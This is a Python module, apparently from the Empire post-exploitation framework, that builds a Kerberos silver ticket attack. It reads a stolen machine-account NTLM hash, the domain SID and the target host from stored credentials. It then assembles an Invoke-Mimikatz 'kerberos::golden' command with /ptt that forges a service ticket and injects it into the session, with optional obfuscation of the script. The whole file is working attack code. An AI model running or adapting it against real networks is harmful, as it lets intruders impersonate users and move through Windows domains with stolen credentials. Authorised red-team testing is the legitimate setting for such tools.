silver_ticket.py

from empire.server.common import helpers
from empire.server.common.empire import MainMenu
from empire.server.core.db.base import SessionLocal
from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message


class Module:
    @staticmethod
    def generate(
        main_menu: MainMenu,
        module: EmpireModule,
        params: dict,
        obfuscate: bool = False,
        obfuscation_command: str = "",
    ):
        # read in the common module source code
        script, err = main_menu.modulesv2.get_module_source(
            module_name=module.script_path,
            obfuscate=obfuscate,
            obfuscate_command=obfuscation_command,
        )

        if err:
            return handle_error_message(err)

        # if a credential ID is specified, try to parse
        cred_id = params["CredID"]
        if cred_id != "":
            with SessionLocal() as db:
                cred = main_menu.credentialsv2.get_by_id(db, cred_id)

                if not cred:
                    return handle_error_message("[!] CredID is invalid!")

                if not cred.username.endswith("$"):
                    return handle_error_message(
                        "[!] please specify a machine account credential"
                    )
                if cred.domain != "":
                    params["domain"] = cred.domain
                    if cred.host != "":
                        params["target"] = str(cred.host) + "." + str(cred.domain)
                if cred.sid != "":
                    params["sid"] = cred.sid
                if cred.password != "":
                    params["rc4"] = cred.password

        # error checking
        if not helpers.validate_ntlm(params["rc4"]):
            return handle_error_message("[!] rc4/NTLM hash not specified")

        if params["target"] == "":
            return handle_error_message("[!] target not specified")

        if params["sid"] == "":
            return handle_error_message("[!] domain SID not specified")

        # build the golden ticket command
        script_end = "Invoke-Mimikatz -Command '\"kerberos::golden"

        for option, values in params.items():
            if (
                option.lower() != "agent"
                and option.lower() != "credid"
                and values
                and values != ""
            ):
                script_end += " /" + str(option) + ":" + str(values)

        script_end += " /ptt\"'"

        script = main_menu.modulesv2.finalize_module(
            script=script,
            script_end=script_end,
            obfuscate=obfuscate,
            obfuscation_command=obfuscation_command,
        )
        return script